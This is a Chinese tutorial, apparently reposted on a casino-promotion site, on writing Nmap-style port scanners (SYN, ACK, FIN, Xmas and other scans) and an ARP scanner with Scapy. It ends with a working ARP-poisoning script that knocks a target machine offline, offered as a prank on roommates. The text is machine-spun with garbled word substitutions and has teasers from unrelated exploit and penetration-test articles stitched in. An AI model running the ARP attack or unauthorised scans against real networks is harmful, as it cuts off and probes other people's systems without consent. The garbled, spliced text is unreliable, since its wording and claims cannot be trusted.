应用Scapy编写类似于Nmap的端口扫描剧本 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用Scapy编写类似于Nmap的端口扫描剧本

申博_新闻事件 申博 179次浏览 已收录 0个评论

CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation

Introduction 对于从2.4.17版本(2015年10月9日发布)到2.4.38版本(2019年4月1日发布)之间的Apache HTTP系统来说,由于存在数组访问越界导致的任意函数调用问题,导致系统容易受到本地root提权攻击。当Apache正常重新启动(apache2ctl g

简介

Scapy是一种用于计算机收集的数据包处置惩罚对象,由Philippe Biondi 用Python编写。它能够捏造或解码数据包,在线路上发送它们,捕捉它们,并婚配请乞降复兴。它还能够处置惩罚扫描,跟踪路由,探测,单元测试,进击和收集发明等义务。能够说Scpay异常壮大
若是您并非很相识Scapy,能够自行去看一下官方文档和demo:链接,由于这篇文章重点不是教您怎样用scapy的,以是这里就未几赘述了。

端口扫描

TCP Connect扫描

道理

TCP Connect扫描又称全衔接扫描,此历程客户端会和效劳端举行完全的3次握手。假定客户端想与效劳端的80端口举行通讯,起首客户端会发送一个带有SYN标识和端口号的TCP数据包给效劳器,若是效劳器这个端口是开放的,则会接收这个衔接并返回一个带有SYNACK标识的数据包给客户端,随后客户端会发送带有ACKRST标识的数据包给效劳点,此时客户端与效劳器竖立了衔接。若是端口不开放则会返回一个RST标识的数据包给客户端。

完成

代码完成:

nmap的-sT形式

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
        if (send is None):
            print "[+] %s %d \033[91m Closed \033[0m" % (host,port)
        elif send.haslayer("TCP"):
            if send["TCP"].flags == "SA":
                send_1 = sr1(IP(dst=host) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
                print "[+] %s %d \033[92m Open \033[0m" % (host, port)
            elif send["TCP"].flags == "RA":
                print "[+] %s %d \033[91m Closed \033[0m" % (host,port)
if __name__=="__main__":
    scan(sys.argv[1:])

扫描效果以下:

TCP SYN扫描

道理

TCP SYN扫描又称半开式扫描,该历程不会和效劳端竖立完全的衔接,起首客户端会发送一个带有SYN标识和端口号的TCP数据包给效劳器,若是效劳器这个端口是开放的,则会接收这个衔接并返回一个带有SYNACK标识的数据包给客户端,随后客户端会返回带有RST标识的数据包而不是返回一个带有ACKRST标识的数据包。若是目的端口处于封闭状况,则效劳端会返回一个RST标识的数据包。

完成

代码完成,直接把TCP Connect扫描的改一行便可,把标识位改成R

nmap的-sS形式

send_1 = sr1(IP(dst=host) / TCP(dport=port, flags="R"), timeout=2, verbose=0)

TCP ACK扫描(大多数状况下用于防火墙检测)

道理

ACK 扫描不是用于发明端口开启或封闭状况的,而是用于发明效劳器上是不是存在有状况防火墙的,它的效果只能申明端口是不是被过滤。若是你用nmap -sA就会发明他只会返回两种效果unfilteredfiltered,由于nmap -sA就是ACK扫描的。

推断端口是不是被过滤,分为两种状况:

  • 发送一个flags为ACK报文,open(开放的)和closed(封闭的) 端口 都邑返回RST报文,至于他们是open照样closed状况我们没法肯定。不响应的端口,或许发送特定的ICMP毛病音讯(范例3,代号1,2,3,9,10, 或许13)的端口,标记为 filtered(被过滤的)。大抵的流程以下图:
  • 上面那种状况下是效劳器REJECT掉数据包,以是客户端会有个ICMP包返回,若是是直接DROP掉的话,就会甚么也不会返回,以是我们要推断该主机是不是存在,由于若是一个主机存在的话,向它发送一个flags为ACK包的话,不管端口是不是封闭都邑有返回一个flags为RST包,若是是DROP是话就会一个数据包都不会返回,以是我们能够应用这一点去推断端口是不是被过滤了,大抵流程以下:

完成

iptables设置装备摆设以下

代码完成

nmap -sA形式

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=0.5,verbose=0)
        if ping(host)==0 and send is None: //若是ping欠亨,则申明该主机处于封闭状况或我们是被过滤了
            print "[+] The host is \033[91m Died or filtered\033[0m"
            sys.exit(0)

        elif ping(host) and send is None: //若是ping得通且没有数据返回
            print "[+] %s %d \033[91m filtered \033[0m" % (host, port)

        elif send.haslayer("ICMP"): //返回一个ICMP包
            if(send["ICMP"].type==3 and (send["ICMP"].code in [1,2,3,9,10,])):
                print "[+] %s %d \033[91m filtered \033[0m" % (host, port)
        elif send["TCP"].flags=="R": //返回一个flags为RST的包
            print "[+] %s %d \033[91m unfiltered \033[0m" % (host, port)


def ping(host): //ping推断主机是不是存活
    ping=sr1(IP(dst=host)/ICMP(),timeout=0.1,verbose=0)
    if ping is not None:
        return 1
    elif ping is None:
        return 0
if __name__=="__main__":
    scan(sys.argv[1:])

扫描效果以下,我们能够明显地发明不管是REJECTDROP都能检测出来

TCP Window扫描

道理

它经由过程搜检返回的RST报文的TCP窗口域做到这一点。 在某些体系上,开放端口用正数透露表现窗口巨细(以至关于RST报文) 而封闭端口的窗口巨细为0。因而,当收到RST时,窗口扫描不老是把端口标记为 unfiltered, 而是依据TCP窗口值是正数照样0,分别把端口标记为open或许 closed。该扫描依赖于互联网上少数体系的完成细节, 因而您不克不及永久置信它 。不支持它的体系会一般返回一切端口closed。 固然,一台机械没有开放端口也是有能够的。 若是大部分被扫描的端口是 closed,而一些罕见的端口 (如 22, 25,53) 是 filtered,该体系就异常可疑了。 偶然地,体系以至会显现恰恰相反的行动。 若是您的扫描显现1000个开放的端口和3个封闭的或许被过滤的端口, 那末那3个极能够也是开放的端口。

代码完成

nmap -sW形式

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=2,verbose=0)
        if (send is None):
            print "[+] the host is\033[91m Closed or filtered\033[0m"
            sys.exit(0)
        elif send.haslayer("TCP"):
            if send["TCP"].window >0:
                print "[+] %s %d \033[92m Open \033[0m" % (host, port)
            elif send["TCP"].window ==0:
                print "[+] %s %d \033[91m Closed \033[0m" % (host, port)

if __name__=="__main__":
    scan(sys.argv[1:])

效果以下,为何显现都是closed,这个由于体系的题目,若是你扫描windows的话都邑显现open的,若是您认为是我写剧本错了的话,能够用nmap考证一下, 不发起运用这类形式,除非特殊状况

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

TCP Null扫描

道理

在发送的数据包中不设置任何标记位(tcp标记头是0),若是目的端口是开放的则不会复兴任何信息。若是目的端口封闭则会返回一个RST+ACK的数据包,我在别的文章看到说是返回一个RST包,然则我用wireshark抓包nmap -sN的历程发明并非这模样的,返回的是一个flags为RST+ACK的数据包

完成

nmap -sN形式

代码完成

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags=""),timeout=2,verbose=0)
        if (send is None):
            print "[+] %s  %d \033[91m Open | filtered\033[0m"%(host,port)
        elif send.haslayer("TCP"):
            if send["TCP"].flags=="RA":
                print "[+] %s %d \033[92m Closed \033[0m" % (host, port)

if __name__=="__main__":
    scan(sys.argv[1:])

扫描效果

TCP FIN扫描

道理

在发送的数据包中只设置FIN标记位,若是目的端口是开放的则不会复兴任何信息。若是目的端口封闭则会返回一个RST+ACK的数据包

完成

nmap -sF形式

将TCP Null扫描发送的标记位改成F便可

send=sr1(IP(dst=host)/TCP(dport=port,flags="F"),timeout=2,verbose=0)

扫描效果:

TCP Xmas扫描

道理

在发送的数据包中设置PSH,FIN,URG标记位,若是目的端口是开放的则不会复兴任何信息。若是目的端口封闭则会返回一个RST+ACK的数据包

完成

nmap -sX形式

将TCP Null扫描发送的标记位改成PFU便可

send=sr1(IP(dst=host)/TCP(dport=port,flags="PFU"),timeout=2,verbose=0)

扫描效果

Other

emmmm,这个彷佛和题目没有甚么干系,然则照样挺好用的,以是这里就简朴地说起一下。

ARP扫描

我们还能够用scapy写一个ARP扫描的小剧本,代码完成以下

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    arp=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=host)
    ans,unans=srp(arp,timeout=0.5,verbose=0)
    print "[+] Scaned %d host"%(len(ans))
    print "Host      MAC"
    for s,h in ans:
        print "{}      {}".format(h["ARP"].psrc,h["ARP"].hwsrc)

if __name__=="__main__":
    scan(sys.argv[1:])

扫描效果以下:

ARP断网进击

道理

运用Scapy能够完成一个局域网的ARP投毒进击,使对方断网, 整蛊一下舍友照样不错的23333
主机A(目的IP):192.168.163.128
主机B(本机IP):192.168.163.132
网关地点:192.168.163.2

实在这个进击道理也很简朴,就是B主机通知A主机我就是网关,然后A主机就会傻傻地置信B主机就是网关,就会把数据经由过程B主机转发进来给外网,若是B主机没有开启转发功用,流量就转发不进来,就会形成断网。

完成

代码完成:

from scapy.all import *
import getopt
import sys

def attack(argv):
    opts, args = getopt.getopt(argv, "-h:-m:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
        if opt in ("-m"):
            Bcast=arg
    print "[+]: Status: \033[91m Attacking \033[0m"
    print "[+]: Host: \033[92m %s \033[0m"%(host)
    pkt = ARP(psrc=Bcast, pdst=host, op=2)
    srloop(pkt,verbose=0)

if __name__=="__main__":
    attack(sys.argv[1:])

能够发明目的机已连不上外网了

提防

提防也很简朴,将网关的IP和MAC地点的干系绑定写入arp缓存表便可,详细怎样操纵百度就有了,我这里就未几赘述了

总结

虽然我枚举的那些例子用Nmap和别的对象都能完成,然则我们不克不及老是做一个剧本小子和伸手党,多剖析他人的对象是怎样完成这个功用的,然后本身实验看看本身能不克不及编写一个如许相似的对象出来,多磨炼本身的着手才能。

对某网的一次渗透测试纪实

最近一个月学着去挖洞,混了快2个月的补天。还是有挺多收获的。这里记录一个昨天对某人才网的渗透测试。从逻辑越权,xss,弱口令等到getshell,控制数据库….. 新人第一次写稿,有不足的地方恳请师傅们指出 目标站点我就以www.xxx.com代


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用Scapy编写类似于Nmap的端口扫描剧本
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址